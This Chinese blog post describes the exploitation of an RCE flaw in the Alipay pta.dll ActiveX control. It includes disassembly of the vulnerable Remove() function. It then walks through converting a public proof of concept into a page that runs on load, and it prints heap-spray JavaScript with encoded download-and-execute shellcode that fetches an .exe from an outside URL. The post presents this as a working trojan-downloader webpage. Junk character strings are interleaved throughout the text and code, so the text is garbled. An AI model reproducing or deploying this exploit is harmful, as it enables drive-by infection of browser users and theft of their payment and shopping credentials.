阿里巴巴支付宝 控件漏洞利用研究
我们先来看看关于漏洞的说明:在支付宝密码输入控件中存在一个远程代码执行漏洞,攻击者可利用此漏洞在被攻击者系统上执行任意代码,进而可安装木马以及间谍程序,窃取相关敏感信息,比如淘宝账号与密码,或者支付宝账号与密码。此漏洞存在于由ActiveX控件pta.dll导出的Remove()函数中,相关信息如下。IXPUB技术博客s)?$[{Pb
IXPUB技术博客Z:`t"SLbInprocServer32: pta.dllIXPUB技术博客\KM wh mQ?
IXPUB技术博客xl2SK cU Y$qClassID : 66F50F46-70A0-4A05-BD5E-FBCC0F9641ECIXPUB技术博客"x}L5l K%K
IXPUB技术博客 h'w4OE1iv!B[id(0x60030001), helpstring("method Remove")]
c*ieL,{6s C-V9N0IXPUB技术博客&`8^VIq uvoid Remove([in] int idx);
c[ i!qLBi R0/A+}8N V/H$Cx x#k[$h0 我们还是直接看Remove()函数的处理流程,代码如下。IXPUB技术博客yxN5k ToOY
IXPUB技术博客}wmHJ$D.text:10003D4E ; RemoveIXPUB技术博客M|#~pF^SD X
v m.^ ]"?'G&?|O+K a e0 .text:10003D4E
a J4O[;K4v/h0IXPUB技术博客)\ sYV${0g\"[;kV.text:10003D4E sub_10003D4E proc near
9J/p$k!h_ P B0IXPUB技术博客;j@J8[-~;mUw; DATA XREF: .rdata:1000B3A4 oIXPUB技术博客#}$`Y(`!yZ|
IXPUB技术博客M8eM;VJM2`n/l"bX.text:10003D4E ; .rdata:1000B41C o ...
_iD p vS2@J0IXPUB技术博客&D.s!hU1Oh"aE.text:10003D4E
JA+^0WlF0IXPUB技术博客 p Cb&xfX.text:10003D4E arg_0 = dword ptr 4IXPUB技术博客*lk'dNSOlE
Kl|Qw#wA0 .text:10003D4E arg_4 = dword ptr 8
o~@h} l-K^B0-m^1kG/U9VI2b*S0 .text:10003D4E
/O)w%\:m%L"t6Z0IXPUB技术博客|7zA_-x}:L.text:10003D4E mov eax, [esp+arg_4]
7A6Vsn1Svn8r-Aq3C}8|0c MG._7Tf0 .text:10003D52 test eax, eax
1@X$n0Hk*|4u,d0)^)bL$Tv-O;{|0 .text:10003D54 jl short loc_10003D78IXPUB技术博客&f8?*e3C&f]e
IXPUB技术博客/Ef9h+C3Y.text:10003D56 push esi
6Ak+@)n3@2_;ya9~#E04F|u5_"\:T7O%A0 .text:10003D57 mov esi, [esp+4+arg_0] ; get idxIXPUB技术博客nQ.C-r;wU1f8Y+uE C
*}[`l` Ln0 .text:10003D5B shl eax, 4 ; idx << 4
,k-cv0s0F{*^0l[!C7N+Y[$Xvl3M0 .text:10003D5E add eax, [esi+8] ; [esi+8]=0
&k#I nkXT5DpDO'LA0(N0AV_.E0 .text:10003D61 push edi;IXPUB技术博客 w9Qmr/j8B
IXPUB技术博客[a9Yu9b_2_/N.text:10003D62 mov edi, eax ; idx << 4 ==>edi
0N'V wbv?$O0L0| jw*u-J(Q0 .text:10003D64 mov eax, [edi+8] ; [(idx << 4)+8] ==>eax
.d3G&Bde^0V5Zo0IXPUB技术博客*G |lg{.text:10003D67 push eax
t'g8D3Mp0IXPUB技术博客TMYGt&Bw(B.text:10003D68 mov ecx, [eax] ; [[(idx << 4)+8]]==>ecx
l/Otw3p I8`8OA07ilTd!Xn0 .text:10003D6A call dword ptr [ecx+8]
!A r irL'J_7]0~%Y-Z(T cu'`0 ; [[[(idx << 4)+8]]+8]==>jmp addrIXPUB技术博客*Ht?!x$S'tn7`
;U;b'TL7g(Xu0 .text:10003D6D push ediIXPUB技术博客| j\Rcim"}
9jI7r%fJ$u*O(@wY0 .text:10003D6E lea ecx, [esi+4]IXPUB技术博客;v0pa3^4w }W
IXPUB技术博客5nJt%WM}/D3{1b@.J.text:10003D71 call sub_10003F35
R{0C2T9k)r'h\0IXPUB技术博客B orb0W6a8@|.text:10003D76 pop edi
H6~ ^}r E"lD8?_z03w.H([ o-\0 .text:10003D77 pop esiIXPUB技术博客v]YMa
/p5y x%[!m8iD&q0 .text:10003D78
(T9hW.Wef8h0qKWMLY\0 .text:10003D78 loc_10003D78:
:yl8OT%Q Z0IXPUB技术博客xfrv cR6A; CODE XREF: sub_10003D4E+6jIXPUB技术博客'^,[;l6Lq
IXPUB技术博客*UZ \e;SQK:]'v.text:10003D78 xor eax, eax
/E9n0pRz:^1q5@%T0IXPUB技术博客!PW8Z8q'JxP!r6Aj.text:10003D7A retn 8
$b9F*]LF&T}e0IXPUB技术博客 Ab w T6H4Y:K.text:10003D7A sub_10003D4E endpIXPUB技术博客0J.[HHlvc*^
IXPUB技术博客Z$DR"iQ'vD^其中的idx是我们可以控制的,可以完成有意思的攻击。比如我们设置idx为0x41414141,程序就会执行[[[14141410h+8]]+8]地址处的代码。存在漏洞的支付宝程序版本是1.0.0.7,安装相应版本的程序后,我找到了存在漏洞的pta.dll文件;同时也找到了网上流传的关于这个漏洞的测试代码,我已放在随文资料中,大家可自行下载研究,文件名为POC.html。它是一个包含JavaScript的网页文件,所实现的功能就是当按钮被按下时调用ClickForRunCalc函数。打开这个网页文件,按下按钮,在耗费了巨大内存后,IE崩溃了。但这只能说明这个控件有问题,真的像某些人所说的那样,这个漏洞可以执行恶意代码并对用户造成损失吗?有溢出基础的人一定知道,并不是所有的溢出漏洞都能成功执行ShellCode的。抱着研究学习的态度,我们修改一下这个代码,看看它能不能实现下载者的功能。IXPUB技术博客o ON4gC3}Oi
1] c
g5\Lhq(eH:d!A0 大家注意看POC代码中的payLoadCode变量,如图1所示。它就是关键所在,我们只需修改这个用于存放ShellCode的变量就能测试它是否可以实现下载者的功能。但自己写ShellCode对很多人来说都是很困难的,不过大家不必担心,我有更简单的办法。这里要用到ms07004的利用程序ms07-004.exe。我们先用这个程序生成一个网马,就是让它下载一个文件,如图2所示。然后用记事本打开这个ms07004网马,会发现里面有一个变量叫shellcode,这就是我们可以利用的现成的ShellCode了,其作用就是下载指定的那个文件。把它复制到payLoadCode那里就行了,溢出后就可以下载并执行这个文件了。此外,我们还需要改一个地方,用以实现打开这个网页时就调用ClickForRunCalc函数,而不是在按下按钮之后。我们只需删掉“<button nclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>”这行代码,并在</script>前加上“ClickForRunCalc();”即可。修改后的部分代码如下,完整代码请见随文资料。

| IXPUB技术博客GNt'UK.[ ……省略……IXPUB技术博客$s-i5cY2\?R"v(rl IXPUB技术博客+VC&`:u;_+Sz<SCRIPT. language="javascript">IXPUB技术博客^2P,m xq \V IXPUB技术博客6Ub _%s N/k+E qfunction ClickForRunCalc() #Syk([%b~Lm(f0IXPUB技术博客y yo/e2Y E/c)q_&|{ E}-ib H0d3O3}+Ku7V{4Q0var heapSprayToAddress = 0x0d0d0d0d; RgC Sp'gE l0%^(qkR5Pn:_u0var payLoadCode = unescape("%u9090"+"%u9090"+ SBDW;g0G0IXPUB技术博客5|)q1bG^$V]"nx"%u6460%u30a1%u0000%u8b00%u0c40%u708b%uad1cIXPUB技术博客8D(`dhgl(dU|$d9a Z!AM M_E0%u708b" +IXPUB技术博客)qTIXx&}t/Y 4Q7Kqqn(hQb3x0"%u8108%u00ec%u0004%u8b00%u56ec%u8e68%u0e4eIXPUB技术博客1l_ \-O/M'^?"d 3yZ3[0nwXxJK)]0%ue8ec" +IXPUB技术博客7pk(T:G+Zhh+\'? IXPUB技术博客,~x6MvU1]"%u00ff%u0000%u4589%u5604%u9868%u8afe%ue80eIXPUB技术博客Te+|+g%D g sM 0?*uD7dk4o0%u00f1" +IXPUB技术博客7CjfkJ4{b +h8ky;P!@Cr)_0"%u0000%u4589%u5608%u2568%uffb0%ue8c2%u00e3 s#?HD{oP}2y0IXPUB技术博客*c\9Da$Q3s-t.U/n@%u0000" +IXPUB技术博客7s\lF6[+NhA"}{ IXPUB技术博客n)dM~A%G,p8|"%u4589%u560c%uef68%ue0ce%ue860%u00d5%u0000 S"ZlJ-@*wO#rl"T0IXPUB技术博客p g| yR"H%u4589" +IXPUB技术博客6v.{/qY'o/F |#c IXPUB技术博客nWJa{&T.X+SCNh"%u5610%uc168%ue579%ue8b8%u00c7%u0000%u4589IXPUB技术博客3a-c)QN5^+^9q p ue?L#GR0%u4014" +IXPUB技术博客JS\Hi;w f$M` IXPUB技术博客t%ucA0z/@$}b!F"b0c"%u3880%u75c3%u89fa%u1845%u08e9%u0001%u5e00 Z+^Pd3r0;Jw2hY}.C,uO0%u7589" + Ma)Y(dz01q7{^ Fm m)[W0"%u8b24%u0445%u016a%u8b59%u1855%ue856%u008c ]_.n2bup0IXPUB技术博客 A c~EpE @%u0000" + y&|;Ekv7n0Ckp"n Q[d0"%u6850%u1a36%u702f%u98e8%u0000%u8900%u1c45IXPUB技术博客[:IyVGT$b IXPUB技术博客+y tpB#b i;jXG%uc58b" +IXPUB技术博客]"O)~/t$eRI Ntc J;jt7~f@0"%uc083%u8950%u2045%uff68%u0000%u5000%u458bIXPUB技术博客r$f!s8t6[N6e Q&Y |O1BaJ0%u6a14" + h%g(Xqz0-W}*q%iN0"%u5902%u558b%ue818%u0062%u0000%u4503%uc720IXPUB技术博客 C g%uV)H:v0i3Jk_ IXPUB技术博客0M g%A*d?A#_%u5c00" + -Jh%|9f0nN0IXPUB技术博客Y Ez Am R"%u2e7e%uc765%u0440%u6578%u0000%u75ff%u8b20IXPUB技术博客LX {~l D3x+H Q(l'n6O$C0%u0c45" +IXPUB技术博客8UI-rc t&C9j| Z IXPUB技术博客5]0Ma(i4VH-C(uc L"%u016a%u8b59%u1855%u41e8%u0000%u6a00%u5807 j F | mx"tDX:nC0y*~1d6xS0%u4503" +IXPUB技术博客#q(le.w"h7b c Le{;`Ifg IXPUB技术博客0A^.xL)x$y"%u3324%u53db%uff53%u2075%u5350%u458b%u6a1cIXPUB技术博客Cv5YGH HB @v)P IXPUB技术博客}#]B ML%u5905" + *G7Z[F+}6yo[0C4`*U6s1v+SP0"%u558b%ue818%u0024%u0000%u006a%u75ff%u8b20 !p U)Ts`[(z$Er0"I4LC,m]"z0%u0845" + :_)e'q&^'rX:d0IXPUB技术博客0_:n0{HIh{Q-s&c"%u026a%u8b59%u1855%u11e8%u0000%u8100%u00c4IXPUB技术博客%H7Z7r%h%k IXPUB技术博客.j k }2^c ^mS;f%u0004" +IXPUB技术博客E(Aq*Z9q%?v"W IXPUB技术博客 {iTz5^)z'e `"%u6100%uc481%u04dc%u0000%uc25d%u0024%u5b41 eG1oc8_B0IXPUB技术博客zrf^xw+P%u0352" +IXPUB技术博客LQg+m4wkk pO+^g_#~M&Z P:oji0"%u03e1%u03e1%u03e1%u83e1%u04ec%u535a%uda8bIXPUB技术博客_$hx|y` o+J2Q9I%nL0%uf7e2" + }%[Q(Y:X$SS0[7Jt;bZJ0"%uff52%u55e0%uec8b%u7d8b%u8b08%u0c5d%u8b56IXPUB技术博客s@`8RCR 1[~ PnfMC,M)^0%u3c73" +IXPUB技术博客;ai}Oe;Om,i IXPUB技术博客#s9`i`};V+l(s"%u748b%u781e%uf303%u8b56%u2076%uf303%uc933IXPUB技术博客8P7IuP@:X WoKa@ V z?c vl0%u4149" + u-l0s,pq)U1]i0_#T8U5Ccv&o6?W0"%u03ad%u56c3%uf633%ube0f%u3a10%u74f2%uc108IXPUB技术博客 nL6c ufwJ-qI n!F IXPUB技术博客 hH!l"m:ISx @%u0dce" +IXPUB技术博客 c)FT;w zFA IXPUB技术博客#X\;mN]vte~ ej7a"%uf203%ueb40%u3bf1%u5efe%ue575%u8b5a%u8beb 2F:v6x Krb$F0IXPUB技术博客X3^D7CVJ~1W%u245a" +IXPUB技术博客/T@ V$i%ZJe h.{ *@8ai'T%VagoI0"%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04IXPUB技术博客 \bFY rEss6e?-J $b3f6s8MI,O0%uc503" +IXPUB技术博客B$T L)CG#[@ oo0n\2SG0"%u5d5e%u08c2%ue800%ufef3%uffff%u5255%u4d4cIXPUB技术博客UZf[q9n IXPUB技术博客Pjga"E@6k/N%u4e4f" + S GP zL0IXPUB技术博客:H'X.a.J1QP8l NB ?Z"%u6800%u7474%u3a70%u2f2f%u6e63%u7466%u2e70IXPUB技术博客.[M,G9g} ^2ai8_J#[2[0%u6a62" +IXPUB技术博客U;h5_.\:M_+B2H IXPUB技术博客_;yjq;B;F3U6FY1G T,h8["%u7475%u652e%u7564%u632e%u2f6e%u7570%u2f62 `[8e.}a7C*R&}u5Z0IXPUB技术博客 @9[.h-o;Z.x Jch3E%u6170" + xB3z ZjP2j'g0,~]#wD$\K:R0"%u6374%u6568%u2f73%u736d%u5052%u2f43%u6946 ~fB,g1r/v!t ^0IXPUB技术博客$A[3D$|QTeoLw%u5778" +IXPUB技术博客n9_P2K_ %QxTZ#m0"%u6c65%u6863%u652e%u6578%u0000"); "w$e Q6aV a:_)[]M,|0IXPUB技术博客i+[1K{ovar heapBlockSize = 0x400000;IXPUB技术博客&[R1H!t5e8Of(~ IXPUB技术博客EIvl,M%Fh+n0{ UQvar payLoadSize = payLoadCode.length * 2;IXPUB技术博客5C$z&xK\E&x IXPUB技术博客/ZH oOU]……省略……IXPUB技术博客'u@f*]7`lvO X IXPUB技术博客3U/l^%L:s(q*J2q8xClickForRunCalc();IXPUB技术博客&]2h fbzVf "G ]0T%TIh5l0</script> eI(QQ&BGG6R}~i8Hi0)Z2KpEhm0……省略…… 7v&N{;rpm \2@#`5Lw9h0 |
如此修改之后,我们就可以实际测试一下看看是否有问题存在了。结果如图3所示,在IE耗费大量内存之后,下载者的功能实现了,IE处于没有响应的状态。
IXPUB技术博客ub~!_aJ^in
相关阅读:
- 脚本病毒利用微软IE漏洞进行激活与传播 (jiaobenbingdu, 2008-8-21)
- 代理脚本病毒利用漏洞传播病毒下载网游木马 (jiaobenbingdu, 2008-8-21)
- "代理"脚本病毒利用漏洞传播 (jiaobenbingdu, 2008-8-21)
- 病毒提示:脚本病毒变种利用Real文件漏洞传播 (jiaobenbingdu, 2008-8-21)
- 病毒借 PDF 漏洞传播 (PDF2008, 2008-8-26)
- Serv-U本地权限提升漏洞 (蚂蚁当家, 2008-8-26)
- Serv-U FTP 服务器潜在拒绝服务漏洞 (蚂蚁当家, 2008-8-26)
- Serv-U FTP服务器设备文件名远程拒绝服务漏洞 (蚂蚁当家, 2008-8-26)
- 解析Serv-U漏洞 防患于未然 (蚂蚁当家, 2008-8-26)
- 堵上致命的 IISUnicode 漏洞 (IEbingdu, 2008-8-26)
导入论坛 引用链接 收藏 分享给好友 推荐到圈子 管理 举报
标题搜索
我的存档
数据统计
- 访问量: 61487
- 日志数: 1162
- 文件数: 1
- 建立时间: 2007-08-10
- 更新时间: 2008-12-28

